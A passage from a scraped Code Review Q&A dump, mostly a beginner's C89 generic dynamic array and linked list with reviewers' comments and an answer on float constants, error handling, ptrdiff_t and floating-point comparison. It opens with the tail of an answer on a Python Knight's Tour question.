class=\"math-container\">\\$O(N)\\$</span> per move, a huge decrease in performance.</p>\n\n<p>A different structure for keeping track of <code>visited</code> locations is to simply use an array of positions. If <code>visited[move]</code> is <code>True</code>, you've been there, if not, you haven't. This is faster that using a <code>set()</code>; you a just looking up an index. It is <span class=\"math-container\">\\$O(1)\\$</span> with a very small constant.</p>\n\n<p>Better: <code>visited[move] = move_number</code>. Initialize the array to <code>0</code> to start with every spot unvisited, and mark a <code>1</code> in the first move location, <code>2</code> in the second and so on. Set <code>visited[move] = 0</code> when you back-track. No need to keep track of the <code>route</code>, as it is implicit in the <code>visited[]</code> array. <code>print_route()</code> amounts to reshaping the <code>visited</code> array into a 2D array, and printing it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:26:59.213",
"Id": "431699",
"Score": "0",
"body": "Thank you for this reply. I am always dubious about using multi-line ```for``` loops and especially nested ```list comprehension``` because I have always read that if the code can be written in roughly the same number of lines with a similar space complexity (in my case it is O(1)) then it is better to use the more readable solution. Having said that I do think its a nice solution!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T02:01:48.647",
"Id": "222901",
"ParentId": "222893",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222895",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T19:57:17.547",
"Id": "222893",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"chess"
],
"Title": "Knight's Tour - Python"
} | 222893 |
<p>I'm new to C, and I thought a great way to learn would be to implement some generic data structures and algorithms. So far I've implemented a linked list and a dynamic array. Both are generic, the linked list with void*s and the dynamic array with macros. Both have some straightforward tests in Unity. Both compile with no warnings with the flags:</p>
<p><code>-std=c89 -ansi -pedantic</code></p>
<p>Let me know what you think!</p>
<p>dynamic_array.h</p>
<pre><code>/*
* A generic dynamic array implemented from scratch in C89.
*
* Define a dynamic array through the macro 'DEFINE_DYNAMIC_ARRAY(T)'. Put this
* in your code to define a dynamic array called 'DynamicArray_T' that holds
* type 'T'. For example: 'DEFINE_DYNAMIC_ARRAY(float)' will define a dynamic
* array called 'DynamicArray_float' that holds floats. This macro will also
* define all the dynamic array operations as well. These include:
* - dynamic_array_T_construct(~)
* - dynamic_array_T_destruct(~)
* - dynamic_array_T_add(~)
* - dynamic_array_T_add_at(~)
* - dynamic_array_T_remove(~)
* - dynamic_array_T_remove_at(~)
* - dynamic_array_T_contains(~)
* Different types of Dynamic arrays can be defined in the same file. Their
* types and operations are differentiated by the 'T' in their names.
* See the macros that define these operations below for their docs.
* The initial capacity of the array and when it expands/contracts, and by how
* much, are defined in the constants below.
*
* Written by Max Hanson, June 2019.
*/
#ifndef DYNAMIC_ARRAY_H
#define DYNAMIC_ARRAY_H
#include <stdlib.h>
static const int INIT_CAPACITY = 10; /* Initial capacity. */
static const float EXPANSION_POINT = 1.0; /* load > this -> array expands */
static const float CONTRACTION_POINT = 0.3; /* load < this -> array contracts */
/* Expanded capacity = this * old capacity */
static const float EXPANSION_FACTOR = 2.0;
/* Contracted capacity = this * old capacity */
static const float CONTRACTION_FACTOR = 0.5;
/*
* Macro to define a dynamic array of type T and its operations.
*
* A type parameter 'T' is valid if, and only if:
* - It contains no spaces. Note this means pointers must be typecast.
*/
#define DEFINE_DYNAMIC_ARRAY(T) \
DEFINE_DYNAMIC_ARRAY_STRUCT(T) \
DECLARE_DYNAMIC_ARRAY_HELPERS(T) \
DEFINE_DYNAMIC_ARRAY_CTOR(T) \
DEFINE_DYNAMIC_ARRAY_DTOR(T) \
DEFINE_DYNAMIC_ARRAY_ADD(T) \
DEFINE_DYNAMIC_ARRAY_ADD_AT(T) \
DEFINE_DYNAMIC_ARRAY_REMOVE(T) \
DEFINE_DYNAMIC_ARRAY_REMOVE_AT(T) \
DEFINE_DYNAMIC_ARRAY_CONTAINS(T) \
DEFINE_DYNAMIC_ARRAY_EXPAND(T) \
DEFINE_DYNAMIC_ARRAY_CONTRACT(T) \
DEFINE_DYNAMIC_ARRAY_INSERT_ELEM(T) \
DEFINE_DYNAMIC_ARRAY_DELETE_ELEM(T) \
DEFINE_DYNAMIC_ARRAY_RECALC_LOAD(T)
/*
* A generic dynamic array.
*
* A dynamic array is valid if, and only if:
* - Its size is how many elements it contains.
* - Its capacity is how large the internal array is.
* - Its load is its size divided by its capacity.
* - All of its elements are consecutive and start at index 0.
* The constructor is guaranteed to return a valid dynamic array and each
* operation will keep a valid dynamic array valid.
*/
#define DEFINE_DYNAMIC_ARRAY_STRUCT(T) \
typedef struct DynamicArrayTag_##T \
{ \
float load; \
int size; \
int capacity; \
T *array; \
} DynamicArray_##T;
/*
* Create an empty dynamic array on the heap.
*
* The initial array capacity is defined in a constant at the top of the file.
*
* Every case complexity: BIG-THETA( malloc() ).
* If:
* - The type 'T' supplied to the definition macro is valid.
* Then:
* - A pointer to a valid dynamic array is returned.
* - The size and load of the array will be 0.
* - The capacity will be initialized according to the constants above.
* - The elements of the internal array will be random.
* Edge cases:
* - If there is an error allocating either the internal array or the dynamic
* array instance, then null will be returned.
*/
#define DEFINE_DYNAMIC_ARRAY_CTOR(T) \
DynamicArray_##T *dynamic_array_##T##_construct() \
{ \
T *array; \
\
DynamicArray_##T *self = malloc(sizeof(DynamicArray_##T)); \
array = malloc(INIT_CAPACITY * sizeof(T)); \
if (self == NULL || array == NULL) \
{ \
return NULL; \
} \
self->array = array; \
\
self->capacity = INIT_CAPACITY; \
self->size = 0; \
self->load = 0; \
}
/*
* Free all memory associated with a dynamic array.
*
* Every case complexity: BIG-THETA( free() ).
* If:
* - The dynamic array is valid.
* Then:
* - All memory associated with the dynamic array will be deallocated.
*/
#define DEFINE_DYNAMIC_ARRAY_DTOR(T) \
void dynamic_array_##T##_destruct(DynamicArray_##T *self) \
{ \
free(self->array); \
free(self); \
}
/*
* Add an element to the end of a dynamic array.
*
* Every case complexity: O( n + malloc() + free() ). N: size of the array.
* Amortized complexity: O(1).
* If:
* - The dynamic array is valid.
* Then:
* - The new element is added onto the end of the array and 0 is returned.
* - The arrays size will be incremented.
* - The arrays load factor will be recalculated.
* - If the array is full, then it will be expanded to hold the new element.
* Edge cases:
* - If the array is full and reallocation fails (no more memory), then 1
* is returned and the array is not altered.
*/
#define DEFINE_DYNAMIC_ARRAY_ADD(T) \
int dynamic_array_##T##_add(DynamicArray_##T *self, T elem) \
{ \
return dynamic_array_##T##_insert_elem(self, elem, self->size); \
}
/*
* Add an element at the i-th index of a dynamic array.
*
* Every case complexity: O( n + malloc() + free() ) to expand the array.
* N: size of the array.
* Amortized complexity: O(1).
* If:
* - The dynamic array is valid.
* Then:
* - The element will be the new i-th element of the array.
* - The arrays size will be incremented.
* - The arrays load factor will be recalculated.
* - If the array is full, then it will be expanded to hold the new element.
* Edge cases:
* - If the array is full and reallocation fails (no more memory), then 1
* is returned and the array is not altered.
*/
#define DEFINE_DYNAMIC_ARRAY_ADD_AT(T) \
int dynamic_array_##T##_add_at(DynamicArray_##T *self, T elem, int i) \
{ \
return dynamic_array_##T##_insert_elem(self, elem, i); \
}
/*
* Remove the first occurrence of an element in the array.
*
* Worst case complexity: O( n + malloc() + free() ) to contract the array.
* N: number of elements in the array.
* Best case complexity: O(1) to remove the last element.
* Average case complexity: O(n) to remvoe an intermediate element.
* If:
* - The dynamic array is valid.
* Then:
* - The first occurence of the element is removed from the array and all
* elements after it are moved one index down.
* - The size of the array is decremented.
* - The load factor of the array is recalculated.
* - If the load is small enough (see constants), then the array is contracted.
* Edge cases:
* - If the array is contracted and there is an error allocating the new array,
* then 1 is returned and the original array is not modified.
*/
#define DEFINE_DYNAMIC_ARRAY_REMOVE(T) \
int dynamic_array_##T##_remove(DynamicArray_##T *self, T elem) \
{ \
int idx; \
\
for (idx = 0; idx < self->size; idx++) \
{ \
if ((self->array)[idx] == elem) \
{ \
return dynamic_array_##T##_delete_elem(self, idx); \
} \
} \
return 0; \
}
/*
* Remove the i-th element in the array.
*
* Worst case complexity: O( n + malloc() + free() ) to contract the array.
* N: number of elements in the array.
* Best case complexity: O(1) to remove the last element.
* Average case complexity: O(n) to remvoe an intermediate element.
* If:
* - The dynamic array is valid.
* Then:
* - The i-th element is removed from the array and all elements after it
* are moved one index down.
* - The size of the array is decremented.
* - The load factor of the array is recalculated.
* - If the load is small enough (see constants), then the array is contracted.
* Edge cases:
* - If the array is contracted and there is an error allocating the new array,
* then 1 is returned and the original array is not modified.
*/
#define DEFINE_DYNAMIC_ARRAY_REMOVE_AT(T) \
int dynamic_array_##T##_remove_at(DynamicArray_##T *self, int i) \
{ \
return dynamic_array_##T##_delete_elem(self, i); \
}
/*
* Determine if the array contains an element.
*
* Every case complexity: O(n).
* If:
* - The dynamic array is valid
* Then:
* - If the array contains the element, then 1 is returned. If it does not,
* then 0 is returned.
*/
#define DEFINE_DYNAMIC_ARRAY_CONTAINS(T) \
int dynamic_array_##T##_contains(DynamicArray_##T *self, T elem) \
{ \
int idx; \
T *array; \
\
array = self->array; \
for (idx = 0; idx < self->size; idx++) \
{ \
if (array[idx] == elem) \
{ \
return 1; \
} \
} \
return 0; \
}
/*
* Declare signatures of helper methods.
*/
#define DECLARE_DYNAMIC_ARRAY_HELPERS(T) \
static int dynamic_array_##T##_expand(DynamicArray_##T *self); \
static int dynamic_array_##T##_contract(DynamicArray_##T *self); \
static int dynamic_array_##T##_insert_elem(DynamicArray_##T *self, \
T elem, int i); \
static int dynamic_array_##T##_delete_elem(DynamicArray_##T *self, \
int rem_idx); \
static void dynamic_array_##T##_recalc_load(DynamicArray_##T *self); \
/*
* Expand the array.
*
* The capacity of the new array is defined in the EXPANSION_FACTOR constant
* at the top if this file.
*
* Every case complexity: O( n + malloc() + free() ). N: size of array.
* If:
* - The array is valid.
* Then:
* - A new, expanded array is allocated.
* - All elements in the dynamic array are copied to this new array.
* - The dynamic arrays internal array is swapped with this new array.
* - 0 is returned.
* Edge cases:
* - If there is an error allocating the new array, then 1 is returned. and
* the old array is not modified.
*/
#define DEFINE_DYNAMIC_ARRAY_EXPAND(T) \
static int dynamic_array_##T##_expand(DynamicArray_##T *self) \
{ \
T *new_array; \
int new_capacity; \
int idx; \
\
/* Allocate new array. */ \
new_capacity = EXPANSION_FACTOR * (self->capacity); \
new_array = malloc(new_capacity * sizeof(T)); \
if (new_array == NULL) \
{ \
/* Return and do not alter original array. */ \
return 1; \
} \
\
/* Copy elements over and swap arrays. */ \
for (idx = 0; idx <= self->size; idx++) \
{ \
new_array[idx] = self->array[idx]; \
} \
free(self->array); \
self->array = new_array; \
\
self->capacity = new_capacity; \
dynamic_array_##T##_recalc_load(self); \
\
return 0; \
}
/*
* Contract the array.
*
* The capacity of the new array is defined in the CONTRACTION_FACTOR constant
* at the top if this file.
*
* Every case complexity: O( n + malloc() + free() ). N: size of array.
* If:
* - The array is valid.
* Then:
* - A new, contracted array is allocated.
* - All elements in the dynamic array are copied to this new array.
* - The dynamic arrays internal array is swapped with this new array.
* - 0 is returned.
* Edge cases:
* - If there is an error allocating the new array, then 1 is returned and the
* old array is not modified.
*/
#define DEFINE_DYNAMIC_ARRAY_CONTRACT(T) \
static int dynamic_array_##T##_contract(DynamicArray_##T *self) \
{ \
T *new_array; \
int new_capacity; \
int idx; \
\
/* Allocate new array. */ \
new_capacity = CONTRACTION_FACTOR * self->capacity; \
new_array = malloc(new_capacity * sizeof(T)); \
if (new_array == NULL) \
{ \
/* Return error and leave old array unmodified. */ \
return 1; \
} \
\
/* Copy elements over and swap arrays. */ \
for (idx = 0; idx <= self->size; idx++) \
{ \
new_array[idx] = self->array[idx]; \
} \
free(new_array); \
self->array = new_array; \
\
self->capacity = new_capacity; \
dynamic_array_##T##_recalc_load(self); \
\
return 0; \
}
/*
* Insert an element at the i-th index of a dynamic array.
* Helper methods for add, add_at operations.
*
* Worst case complexity: O(n + malloc() + free() ) to expand the array.
* N: size of array.
* Best case complexity: O(1) to add to the end of the array.
* If:
* - The dynamic array is valid.
* - 0 <= i <= self->size.
* Then:
* - The element will be the new i-th element in the dynamic array.
* - The dynamic arrays size will be incremented.
* - The dynamic arrays load factor will be recalculated.
* - If the dynamic array is full, then it will be expanded.
* Edge cases:
* - If the dynamic array is full and there is an error expanding it, then 1
* is returned.
*/
#define DEFINE_DYNAMIC_ARRAY_INSERT_ELEM(T) \
static int dynamic_array_##T##_insert_elem(DynamicArray_##T *self, T elem, \
int i) \
{ \
int idx; \
int status; \
T *array; \
\
/* Expand if needed. */ \
if (self->load == EXPANSION_POINT) \
{ \
status = dynamic_array_##T##_expand(self); \
if (status > 1) \
{ \
return status; /* pass allocation error code up */ \
} \
} \
\
/* Move all elements in [i+1..self->size) forward one index. */ \
array = self->array; \
for (idx = self->size; idx > i; idx--) \
{ \
array[idx] = array[idx - 1]; \
} \
\
array[idx] = elem; \
self->size += 1; \
dynamic_array_##T##_recalc_load(self); \
\
return 0; \
}
/*
* Delete the element at the ith index of a dynamic array.
* Helper method for the remove, remove_at operations.
*
* If:
* - The dynamic array is valid.
* - 0 <= i < self->size.
* Then:
* - The element at the i-th index of the array will be removed.
* - All elements higher than the i-th index will be moved an index down.
* - The array size will be decremented.
* - The array load will be recalculated.
* - If the array is sufficiently small after removal (see constants), then
* the array will be contracted. The capacity and load will be recalculated.
* - 0 is returned.
* Edge cases:
* - If the array is contracted and there is an error allocating a new array,
* then 1 is returned.
*/
#define DEFINE_DYNAMIC_ARRAY_DELETE_ELEM(T) \
static int dynamic_array_##T##_delete_elem(DynamicArray_##T *self, \
int i) \
{ \
int idx; \
T *array; \
\
/* Copy every element in [i+1..) back one index. Overwrites array[i] */ \
array = self->array; \
for (idx = i + 1; idx < self->size; idx++) \
{ \
array[idx - 1] = array[idx]; \
} \
\
/* Contract if necessary. Only contract if array has expanded before */ \
if (self->load <= CONTRACTION_POINT && self->capacity > INIT_CAPACITY)\
{ \
return dynamic_array_##T##_contract(self); \
} \
\
self->size -= 1; \
dynamic_array_##T##_recalc_load(self); \
\
return 0; \
}
/*
* Set load equal to size divided by capacity.
*
* If:
* - The dynamic array is valid.
* Then:
* - load will equal size divided by capacity.
*/
#define DEFINE_DYNAMIC_ARRAY_RECALC_LOAD(T) \
static void dynamic_array_##T##_recalc_load(DynamicArray_##T *self) \
{ \
self->load = ((float)self->size) / ((float)self->capacity); \
}
#endif
</code></pre>
<p>linked_list.h:</p>
<pre><code>/*
* A basic, generic forward-linked-list data structure and relevant operations
* implemented from scratch in pure, old fashioned C.
*
* All functions in this header are prepended with 'linked_list_' to create a
* psuedo-namespace. The linked list supports operations to: create a new linked
* list, add an element (at the end or at an index), remove an element (from the
* end or by key), test if a key is in the list, and determine the size of the
* list.
*
* Written by Max Hanson, June 2019.
*/
#ifndef LINKED_LIST_H
#define LINKED_LIST_H
#include <stdlib.h> /* For malloc/NULL */
/*
* A generic forward-linked-list data structure.
*
* Note that by 'generic' I mean the key is a void pointer that can point to any
* data type. It is the client's responsibility to track what data type the
* linked list's keys are and safely cast them to/from void pointers.
* Also note that it is necessary that each key in the list points to an object
* on the heap that was allocated with 'malloc/calloc/realloc'. This is because
* each key is freed in the linked_list_destruct operation. Undefined behavior
* will occur if this requirement is not met.
*
* A LinkedList is valid if, and only if:
* - The key of all nodes is non-null pointer.
* - The next node of all nodes points to another node, except the tail node
* whose next is null.
* - There are no loops in the list.
* - The head node leads to the tail node.
* Note that these operations do not verify linked list validity, but it is
* guaranteed that the constructor will create a valid linked list and that
* each operation will leave a valid linked list valid.
*/
typedef struct linked_list_node_tag LinkedListNode;
struct linked_list_node_tag
{
void *key;
LinkedListNode *next;
};
typedef struct linked_list_tag
{
int size;
LinkedListNode *head;
LinkedListNode *tail;
} LinkedList;
/*
* Create a new linked list from a key.
*
* Every case complexity: BIG-THETA(1).
* If:
* - The head_key is not NULL.
* Then:
* - A valid LinkedList is returned such that:
* - Its head nodes key is the head_key.
* - Its head node is its tail node.
* - Its size is 1.
* Edge cases:
* - If there is not enough space on the heap for a new LinkedList and
* LinkedListNode, then NULL is returned.
*/
LinkedList *linked_list_construct(void *head_key);
/*
* Deallocate a linked list.
*
*
* Every case runtime: BIG-THETA(n) where n is the size of the list.
* If:
* - The list is a valid linked list.
* Then:
* - All keys in the list will be freed.
* - All nodes in the list will be freed.
* - The linked list itself will be freed.
* - The list pointer will be NULL.
*/
void linked_list_destruct(LinkedList *list);
/*
* Append a key to a linked list.
*
* Every case complexity: BIG-THETA(1).
* If:
* - The list is a valid LinkedList.
* - The key points to the same data type as all nodes of the list.
* Then:
* - A new node is created whose key is The key.
* - The lists previous tail will point to this new node.
* - The lists tail will point to this new node.
* - The lists size will be incremented.
* - A positive value is returned.
* Edge cases:
* - If there is not enough space on the heap for a new LinkedListNode, then
* zero is returned.
*/
int linked_list_add(LinkedList *list, void *key);
/*
* Add an element to the i-th index of a linked list.
*
* Every case complexity: O(n) where n is the number of nodes in the list.
* Worst case complexity: BIG-THETA(n).
* Best case complexity: BIG-THETA(1).
* If:
* - The list is a valid LinkedList.
* - The key points to the same data type as all nodes of the list.
* - 0 <= 'i' <= list.size.
* Then:
* - A new node is created whose key is The key.
* - This new node will be the i-th node of the list.
* - If a new head is added, then the lists head will be updated.
* - The lists size will be incremented.
* - A positive value is returned.
* Edge cases:
* - If there is not enough space on the heap for a new LinkedListNode, then
* zero is returned.
*/
int linked_list_add_at(LinkedList *list, void *key, int i);
/*
* Remove the i-th node of a linked list.
*
* Every case complexity: O(n) where n is the number of elements in the list.
* Worst case complexity: BIG-THETA(n).
* Best case complexity: BIG-THETA(1).
* If:
* - The list is a valid LinkedList.
* - 0 <= i < 'list.size'.
* Then:
* - The node previously at the lists i-th index will be removed.
* - If the head/tail is removed, then the new head/tail will be updated.
* - The lists size will be decremented.
*/
void linked_list_remove_at(LinkedList *list, int i);
/*
* Remove the first node containing a certain key from a linked list.
*
* Every case complexity: O(n) where n is the number of elements in the list.
* Worst case complexity: BIG-THETA(n).
* Best case complexity: BIG-THETA(1).
* If:
* - The list is a valid LinkedList.
* - The key is not NULL.
* Then:
* - If the list contains the key, the first node with the matching key
* (comparing addresses) is removed and a positive value is returned.
* - If the list doesnt contain the key, then the list is unchanged and zero
* is returned.
*/
int linked_list_remove_key(LinkedList *list, void *key);
/*
* Determine if a linked list contains a key.
*
* Every case complexity: O(n) where n is the nubmer of elements in the list.
* Worst case complexity: BIG-THETA(n).
* Best case complexity: BIG-THETA(1).
* If:
* - The list is a valid LinkedList.
* - The key is not NULL.
* Then:
* - If the list contains the key, then a positive value is returned.
* - If the list doesnt contain the key then zero is returned.
*/
int linked_list_contains_key(LinkedList *list, void *key);
/*
* Get the key of the i-th node of a linked list.
*
* Every case complexity: O(n) where n is the number of elements in the list.
* Worst case complexity: BIG-THETA(n).
* Best case complexity: BIG-THETA(1).
* If:
* - The list is a valid LinkedList.
* - 0 <= i < list.size
* Then:
* - The key of the i-th node of the list is returned.
*/
void *linked_list_get_key(LinkedList *list, int i);
#endif
</code></pre>
<p>linked_list.c:</p>
<pre><code>/**
* An implementation of the linked list operations from scratch.
*
* See the function definitions in the linked list header for documentation.
*
* Written by Max Hanson, June 2019.
*/
#include "linked_list.h"
static LinkedListNode *create_node(void *key);
static void point_to_index(LinkedList *list, LinkedListNode **prev_ptr,
LinkedListNode **cursor_ptr, int index);
static void point_to_key(LinkedList *list, LinkedListNode **prev_ptr,
LinkedListNode **cursor_ptr, void *key);
static void remove_node(LinkedList *list, LinkedListNode *prev,
LinkedListNode *cursor);
LinkedList *linked_list_construct(void *head_key)
{
LinkedListNode *new_node;
LinkedList *new_llist;
new_node = create_node(head_key);
new_llist = malloc(sizeof(LinkedList));
if (new_node == NULL || new_llist == NULL)
{
/* Allocation failed. */
return NULL;
}
new_llist->size = 1;
new_llist->head = new_node;
new_llist->tail = new_node;
return new_llist;
}
void linked_list_destruct(LinkedList *list)
{
LinkedListNode *cursor;
LinkedListNode *prev;
/* Step through, freeing each previous. Frees tail too. */
cursor = list->head;
prev = NULL;
while (cursor != NULL)
{
prev = cursor;
cursor = cursor->next;
free(prev->key);
free(prev);
}
free(list);
}
int linked_list_add(LinkedList *list, void *key)
{
LinkedListNode *new_node;
new_node = create_node(key);
if (new_node == NULL)
{
return 0;
}
list->tail->next = new_node;
list->tail = new_node;
list->size += 1;
return 1;
}
int linked_list_add_at(LinkedList *list, void *key, int i)
{
LinkedListNode *new_node;
LinkedListNode *cursor;
LinkedListNode *prev;
int idx;
new_node = create_node(key);
if (new_node == NULL)
{
return 0;
}
point_to_index(list, &prev, &cursor, i);
/* Add new_node as new i-th node. */
if (cursor == list->head)
{
/* Adding new head. Prev is null. */
new_node->next = cursor;
list->head = new_node;
}
if (prev == list->tail)
{
/* Adding a new tail. Cursor is null. */
prev->next = new_node;
list->tail = new_node;
}
else
{
/* Adding intermediate node. */
prev->next = new_node;
new_node->next = cursor;
}
list->size += 1;
return 1;
}
void linked_list_remove_at(LinkedList *list, int i)
{
LinkedListNode *cursor;
LinkedListNode *prev;
int idx;
/* NOTE assumed that i is within range, no checking. */
point_to_index(list, &prev, &cursor, i);
remove_node(list, prev, cursor);
}
int linked_list_remove_key(LinkedList *list, void *key)
{
LinkedListNode *cursor;
LinkedListNode *prev;
int idx;
point_to_key(list, &prev, &cursor, key);
if (cursor == NULL)
{
/* NOTE null if no matching key. */
return 0;
}
remove_node(list, prev, cursor);
return 1;
}
int linked_list_contains_key(LinkedList *list, void *key)
{
LinkedListNode *cursor;
LinkedListNode *prev;
int idx;
point_to_key(list, &prev, &cursor, key);
return (cursor != NULL); /* NOTE null if no matching key. */
}
void *linked_list_get_key(LinkedList *list, int i)
{
LinkedListNode *cursor;
LinkedListNode *prev;
int idx;
point_to_index(list, &prev, &cursor, i);
return cursor->key;
}
/* === HELPER METHODS === */
/*
* Create a new node on the heap.
*
* Every case complexity: O(1).
* If:
* - The key is not NULL.
* Then:
* - A pointer to a node whose key is 'key' and next is NULL is returned.
* Edge cases:
* - If there is not room for a new node on the heap, the NULL is returned.
*/
static LinkedListNode *create_node(void *key)
{
LinkedListNode *new_node;
new_node = malloc(sizeof(LinkedListNode));
if (new_node == NULL)
{
return NULL;
}
new_node->key = key;
new_node->next = NULL;
return new_node;
}
/*
* Point a cursor to a lists i-th node.
*
* Note the double pointers used in the arguments. This is so the function can
* modify the first-level pointer.
*
* Every case runtime: O(n) where n is the number of nodes in the list.
* Worst case runtime: BIG-THETA(n).
* Best case runtime: BIG-THETA(1).
* If:
* - The list is a valid linked list.
* - 0 <= index <= list.size
* Then:
* - The cursor will point to the i-th node.
* - The prev will point to the (i-1)-th node, or null if cursor is the head.
* - If i = list.size: then cursor will be null and prev will be the tail.
*/
static void point_to_index(LinkedList *list, LinkedListNode **prev_ptr,
LinkedListNode **cursor_ptr, int index)
{
int idx;
LinkedListNode *cursor;
LinkedListNode *prev;
/* Point cursor, prev to the correct nodes. */
idx = 0;
cursor = list->head;
prev = NULL;
while(idx != index)
{
prev = cursor;
cursor = cursor->next;
idx++;
}
/* Point what the args point to to the correct nodes. */
(*prev_ptr) = prev;
(*cursor_ptr) = cursor;
}
/*
* Point a cursor to the first node in a list containing a key.
*
* A node contains a key if they both point to the same location in memory.
* Note the double pointers used in the arguments. This is so the function can
* modify the first-level pointer.
*
* Every case runtime: O(n) where n is the size of the list.
* Worst case runtime: BIG-THETA(n).
* Best case runtime: BIG-THETA(1).
* If:
* - The list is a valid linked list.
* - The key points to the same type of data as the list.
* Then:
* - If the key is in the list, then the cursor will point to the first node
* that contains that key and the prev will point to its previous.
* - If the key is not in the list, then the cursor and prev will be NULL.
*/
static void point_to_key(LinkedList *list, LinkedListNode **prev_ptr,
LinkedListNode **cursor_ptr, void *key)
{
LinkedListNode *cursor;
LinkedListNode *prev;
/* Point cursor, prev to the correct nodes */
cursor = list->head;
prev = NULL;
while(cursor != NULL && cursor->key != key)
{
prev = cursor;
cursor = cursor->next;
}
/* Point what the args point to to the correct nodes */
(*cursor_ptr) = cursor;
(*prev_ptr) = prev;
}
/*
* Remove a node from a linked list.
*
* Every case runtime: O(1).
* If:
* - The list is a valid list.
* - The cursor points to a node in the list.
* - The prev points to the node that points to the cursor.
* Then:
* - The list will no longer contain the cursor.
* - The lists size will be decremented.
* - If the cursor was the lists head/tail, then the head/tail will be updated.
* - The cursor will be deallocated.
*/
static void remove_node(LinkedList *list, LinkedListNode *prev,
LinkedListNode *cursor)
{
if (cursor == list->head)
{
/* Removing head. Prev is NULL. */
list->head = cursor->next;
}
else if (cursor == list->tail)
{
/* Removing tail. */
prev->next = NULL;
list->tail = prev;
}
else
{
/* Removing intermediate node. */
prev->next = cursor->next;
}
free(cursor);
list->size -= 1;
}
<span class="math-container">```</span>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T13:23:15.163",
"Id": "431747",
"Score": "1",
"body": "`status = dynamic_array_##T##_expand(self); \\\n if (status > 1) \\\n { \\\n return status; /* pass allocation error code up */ \\\n }`: Given that the called function only returns 0 or 1, that `if` branch will never be executed. Maybe you wanted `if (status)`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T16:12:31.150",
"Id": "431775",
"Score": "0",
"body": "@CacahueteFrito I think I meant to type `if (status > 0)`. Thanks for pointing that out!"
}
] | [
{
"body": "<p><strong>- <code>float</code></strong></p>\n\n<p><code>float</code> constants need the suffix <code>f</code>:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>static const float EXPANSION_POINT = 1.0f;\n</code></pre>\n\n<p>if not, you're assigning a <code>double</code> constant implicitly converted to <code>float</code>.</p>\n\n<hr>\n\n<p><strong>- functions that accept 0 parameters</strong></p>\n\n<p>Functions that accept 0 parameters should always be defined as <code>type foo(void)</code></p>\n\n<p><code>type foo()</code> means different things depending on the context. It is different in prototypes (accept any parameters) and definitions (accept 0 parameters), so it's better to avoid that and explicitly use <code>(void)</code>.</p>\n\n<hr>\n\n<p><strong>- <code>sizeof(type)</code> vs <code>sizeof(*pointer)</code></strong></p>\n\n<p>It's better to use <code>sizeof(*pointer)</code> so that if the type of <code>pointer</code> ever changes, the code is still valid.</p>\n\n<hr>\n\n<p><strong>- Be careful with error handling</strong></p>\n\n<p>It's better to use <code>sizeof(*pointer)</code> so that if the type of <code>pointer</code> ever changes, the code is still valid.</p>\n\n<p>In this code of yours:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code> DynamicArray_##T *self = malloc(sizeof(DynamicArray_##T)); \\\n array = malloc(INIT_CAPACITY * sizeof(T)); \\\n if (self == NULL || array == NULL) \\\n { \\\n return NULL; \\\n } \n</code></pre>\n\n<p>Imagine that one of the allocations fails but the other doesn't.</p>\n\n<p>Solution:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code> self = malloc(sizeof(*self)); \\\n if (!self) \\\n return NULL; \\\n array = malloc(sizeof(*array) * INIT_CAPACITY); \\\n if (!array) \\\n goto err_array; \\\n...\nerr_array: \\\n free(self); \\\n return NULL; \\\n</code></pre>\n\n<hr>\n\n<p><strong>- Reached end of non-void function</strong></p>\n\n<p>In the function <code>DynamicArray_##T *dynamic_array_##T##_construct(void)</code> you forgot the final <code>return</code> statement.</p>\n\n<p>Fixed:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define DEFINE_DYNAMIC_ARRAY_CTOR(T) \nDynamicArray_##T *dynamic_array_##T##_construct(void) \\\n{ \\\n DynamicArray_##T *self; \\\n \\\n self = malloc(sizeof(*self)); \\\n if (!self) \\\n return NULL; \\\n self->array = malloc(sizeof(*self->array) * INIT_CAPACITY); \\\n if (!self->array) \\\n goto err_array; \\\n \\\n self->capacity = INIT_CAPACITY; \\\n self->size = 0; \\\n self->load = 0.0; \\\n \\\n return self; \\\n \\\nerr_array: \\\n free(self); \\\n return NULL; \\\n}\n</code></pre>\n\n<hr>\n\n<p><strong>- <code>ptrdiff_t</code></strong></p>\n\n<p>The appropriate type for pointer arithmetics (and a dynamic array is full of that) is <code>ptrdiff_t</code>. Of course <code>int</code> will work in almost any case (unless you plan to have an array with more than ~2 thousand million elements), but <code>ptrdiff_t</code> helps self-documenting the code.</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#include <stddef.h>\n\nstatic const ptrdiff_t INIT_CAPACITY = 10;\n\n#define DEFINE_DYNAMIC_ARRAY_STRUCT(T) \\\nstruct DynamicArrayTag_##T { \\\n float load; \\\n ptrdiff_t size; \\\n ptrdiff_t capacity; \\\n T *array; \\\n}; \\\ntypedef struct DynamicArrayTag_##T DynamicArray_##T;\n</code></pre>\n\n<hr>\n\n<p><strong>- comparing floating-point variables</strong></p>\n\n<p>There are infinite different real numbers between any two given numbers. In C, that is not true, because of obvious reasons. But there are still too many different <code>float</code> possible values between <em>any</em> two given values.</p>\n\n<p>Comparisons like <code>if (self->load == EXPANSION_POINT)</code> are unlikely to work.</p>\n\n<p>Depending on the desired behavior, the solution is easy or not. In this case it is easy:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>if (self->load >= EXPANSION_POINT)\n</code></pre>\n\n<hr>\n\n<p><strong>- nmemb vs size</strong> (This is somewhat personal; feel free to disagree)</p>\n\n<p>There is a slight difference between the terms size and nmemb.</p>\n\n<p><code>size</code> is a name normally used to mean absolute size in Bytes. Its natural type is <code>size_t</code>.</p>\n\n<p><code>nmemb</code> is a name normally used to mean <strong>n</strong>umber of <strong>memb</strong>ers of an array. Its natural type is <code>ptrdiff_t</code>, although <code>size_t</code> is not uncommon to see (sadly).</p>\n\n<p>So, I would change the <code>struct</code> this way:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define 